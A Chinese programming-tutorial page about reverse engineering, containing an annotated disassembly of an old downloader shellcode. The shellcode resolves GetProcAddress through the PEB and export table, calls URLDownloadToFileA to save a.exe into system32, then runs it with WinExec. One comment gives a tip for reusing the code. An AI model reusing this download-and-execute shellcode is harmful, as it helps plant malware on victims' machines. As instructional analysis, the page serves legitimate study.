當前位置:編程學習大全網 - 源碼下載 - hex文件轉換成C語言

hex文件轉換成C語言

文件有兩種,壹種是文本文件,壹種是程序二進制文件,不管哪種文件都可以用十六進制編碼來顯示,稱為hex文件。

1、文本Hex文件壹般不需要轉成C語言,更多的是程序二進制文件,用十六進制顯示,可以轉換成C語言,壹般使用相應的反匯編程序來實現,這方面的工具很多,不同的平臺略有不同。Windows平臺壹般常用的OllyDbg、Windbg、IDA,Linux平臺使用最多的是GDB和Linux版的IDA。

OllyDbg,簡稱OD,壹般是軟件逆向工程愛好者,最先使用的壹個工具,但是因為當下不在更新,所以壹般用壹般用於學習使用,下圖中左上角的區域即為反匯編區域 ,用戶可以根據匯編指令,分析程序算法,然後自己編寫代碼。

在Windows平臺,特別是x64平臺,最好用的反匯編工具除還得是Windbg。將程序載入Windbg後,可以輸入u命令來查看程序的反匯編代碼。

2、對於編程人員來說,逆向分析是壹個基本的技能,但是往往不容易入門,這裏舉壹個例子。以壹段早些年ShellCode的十六進制代碼為例,代碼如下圖所示,這段不起眼的代碼,實際上實現了壹個下載者的功能。

拿到這樣的十六進制代碼,壹般來說,先將其生成二進制文件,然後再分析其指令,通過反匯編指令再寫出源碼。只需要將上面的十六進制代碼,保存到C語言的字符串數組中,寫入到壹個Exe的文件空段中,再修改指令將其跳轉到程序入口處即可,這個過程類似於軟件安全領域的殼。

將十六進制代碼寫入壹個exe文件後,就可以將exe文件載入動態調試器進行動態分析或者使用靜態反匯編程序進行靜態分析,兩者的不同在於動態調試器是要運行程序的,而靜態反匯編分析不需要運行程序,所以壹般惡意程序,都采用靜態分析。反匯編開頭的壹段十六進制代碼註釋如下:

4AD750215A?pop?edx;?函數返回的地址保存到edx中

4AD7502264:A1?30000000?mov?eax,?dword?ptr?fs:[30];?取peb

4AD750288B40?0Cmov?eax,?dword?ptr?[eax+C];?peb_link

4AD7502B8B70?1Cmov?esi,?dword?ptr?[eax+1C];?初始化列表到esi

4AD7502EAD?lodsdword?ptr?[esi];?[esi]->eax?+?8的位置即kernel32.dll的地址

4AD7502F8B40?08mov?eax,?dword?ptr?[eax+8];?eax=kernel32.dll的地址

4AD750328BD8mov?ebx,?eax?;?ebx=kernel32.dll的基址

4AD750348B73?3Cmov?esi,?dword?ptr?[ebx+3C];?esi?=?pe頭偏移

4AD750378B741E?78?mov?esi,?dword?ptr?[esi+ebx+78];?esi為kernel32.dll導出表的偏移

4AD7503B03F3add?esi,?ebx?;?esi?=?kernel32.dll導出表的虛擬地址

4AD7503D8B7E?20mov?edi,?dword?ptr?[esi+20];?edi=ent的偏移地址

4AD7504003FBadd?edi,?ebx?;?edi?=?ent的虛擬地址

4AD750428B4E?14mov?ecx,?dword?ptr?[esi+14];?ecx?=?kernel32.dll導出地址的個數

4AD7504533EDxor?ebp,?ebp?;?ebp=0

4AD7504756?pushesi;?保存導出表虛擬地址

4AD7504857?pushedi;?保存ent虛擬地址

4AD7504951?pushecx;?保存計數

4AD7504A8B3Fmov?edi,?dword?ptr?[edi]

4AD7504C03FBadd?edi,?ebx?;?定位ent中的函數名

4AD7504E8BF2mov?esi,?edx?;?esi為?要查詢的函數GetProcAddress即該call的下壹個地址是數據

4AD750506A?0E?push0E;?0xe0是GetProcAddress函數的字符個數

4AD7505259?pop?ecx;?設置循環次數為?0xe

4AD75053F3:A6?repecmps?byte?ptr?es:[edi],?byte?ptr?[esi];?ecx!=0&&zf=1?ecx=ecx-1?cmps判斷?GetProcAddress

4AD7505574?08?je?short?4AD7505F;?如果ENT中的函數名為GetProcAddress跳走

4AD7505759?pop?ecx;?不相等則將導出地址數出棧

4AD750585F?pop?edi;?ent虛擬地址出棧

4AD7505983C7?04add?edi,?4;?edi地址遞增4字節?因為ENT的元素大小為4字節

4AD7505C45?inc?ebp;?ebp用於保存ent中定位到GetProcAddress函數時的計數

4AD7505D?^?E2?E9?loopdshort?4AD75048;?循環查詢

4AD7505F59?pop?ecx

4AD750605F?pop?edi

4AD750615E?pop?esi

4AD750628BCDmov?ecx,?ebp?;?計數保存於ecx

4AD750648B46?24mov?eax,?dword?ptr?[esi+24];?esi+0x24?Ordinal序號表偏移地址

4AD7506703C3add?eax,?ebx?;?ordinal序號表的虛擬地址

4AD75069D1E1shl?ecx,?1;?ecx邏輯增加2倍?因為ordinal序號是WOR類型下面是通過add?來求ordinal所以這裏必須擴大2倍

4AD7506B03C1add?eax,?ecx

4AD7506D33C9xor?ecx,?ecx?;?ecx=0

4AD7506F66:8B08mov?cx,?word?ptr?[eax];?保存取出的ordinal序號

4AD750728B46?1Cmov?eax,?dword?ptr?[esi+1C];?eax?為kenrnel32.dll的EAT的偏移地址

4AD75075?>?03C3add?eax,?ebx?;?eax?=?kernel32.dll的eat虛擬地址

4AD75077C1E1?02shl?ecx,?2;?同上,擴大4倍因為eat中元素為DWORD值

4AD7507A03C1add?eax,?ecx

4AD7507C8B00mov?eax,?dword?ptr?[eax]?;?eax即為GetProcAddress函數的地址?相對虛擬地址,EAT中保存的RVA

4AD7507E03C3add?eax,?ebx?;?與基址相加求得GetProcAddress函數的虛擬地址

4AD750808BFAmov?edi,?edx?;?GetProcAddress字符到edi

4AD750828BF7mov?esi,?edi?;?esi保存GetProcAddress地址

4AD7508483C6?0Eadd?esi,?0E;?esi指向GetProcAddress字符串的末地址

4AD750878BD0mov?edx,?eax?;?edx為GetProcAddress的地址

4AD750896A?04?push4

4AD7508B59?pop?ecx;?ecx=4

有經驗的程序員, 通過分析即明白上面反匯編代碼的主要目的就是獲取GetProcAddress函數的地址。繼續看反匯編代碼:

4AD7508CE8?50000000call4AD750E1?;?設置IAT?得到4個函數的地址

4AD7509183C6?0Dadd?esi,?0D;?從這裏開始實現ShellCode的真正功能

4AD7509452?pushedx

4AD7509556?pushesi;?urlmon

4AD75096FF57?FCcalldword?ptr?[edi-4]?;?調用LoadLibrarA來加載urlmon.dll

4AD750995A?pop?edx;?edx?=?GetProcAddress的地址

4AD7509A8BD8mov?ebx,?eax

4AD7509C6A?01?push1

4AD7509E59?pop?ecx

4AD7509FE8?3D000000call4AD750E1?;?再次設置?IAT?得到URLDownLoadToFileA

4AD750A483C6?13add?esi,?13;?esi指向URLDownLoadToFileA的末地址

4AD750A756?pushesi

4AD750A846?inc?esi

4AD750A9803E?80cmp?byte?ptr?[esi],?80;?判斷esi是否為0x80?這裏在原碼中有0x80如果要自己用,應該加上壹個字節用於表示程序結束

4AD750AC?^?75?FA?jnz?short?4AD750A8;?跨過這個跳轉,需要在OD中CTRL+E修改數據為0x80

4AD750AE8036?80xor?byte?ptr?[esi],?80

4AD750B15E?pop?esi

4AD750B283EC?20sub?esp,?20;?開辟?32?byte棧空間

4AD750B5?>?8BDCmov?ebx,?esp?;?ebx為棧區的指針

4AD750B76A?20?push20

4AD750B953?pushebx

4AD750BAFF57?ECcalldword?ptr?[edi-14];?調用GetSystemDirectoryA得到系統目錄

4AD750BDC70403?5C612E65mov?dword?ptr?[ebx+eax],?652E615C?;?ebx+0x13?系統路徑占?0x13個字節

4AD750C4C74403?04?78650000?mov?dword?ptr?[ebx+eax+4],?6578;?拼接下載後的文件路徑%systemroot%\system32\a.exe

4AD750CC33C0xor?eax,?eax

4AD750CE50?pusheax

4AD750CF50?pusheax

4AD750D053?pushebx

4AD750D156?pushesi

4AD750D250?pusheax

4AD750D3?>?FF57?FCcalldword?ptr?[edi-4]?;?URLDownLoadToFile下載文件為a.exe

4AD750D68BDCmov?ebx,?esp

4AD750D850?pusheax

4AD750D953?pushebx

4AD750DAFF57?F0calldword?ptr?[edi-10];?WinExec執行代碼

4AD750DD50?pusheax

4AD750DEFF57?F4calldword?ptr?[edi-C]?;?ExitThread退出線程

接下來的操作便是通過已獲得地址的GetProcAddress()來分別得到GetSystemDirectory()、URLDownLoadToFile()、WinExec()及ExitProcess()函數的地址,並依次執行。到這裏實際上有經驗的程序員,馬上就能寫出C語言代碼來。 後面的數據區不在分析了,主要是介紹如何操作。

使用C語言,雖然知道了Hex文件的大致流程,但是壹般來說,對於匯編指令,更傾向於直接使用asm關鍵字來使用內聯匯編。如下圖所示:

通過這個實例 ,相信應該能理解壹個大致的流程啦。

  • 上一篇:Swing程序題:用JTree創建壹個節點樹,當鼠標點節點時會彈出壹個框來顯示當前子節點的信息。
  • 下一篇:框架嵌套iframe標簽常見的幾種使用方法
  • copyright 2024編程學習大全網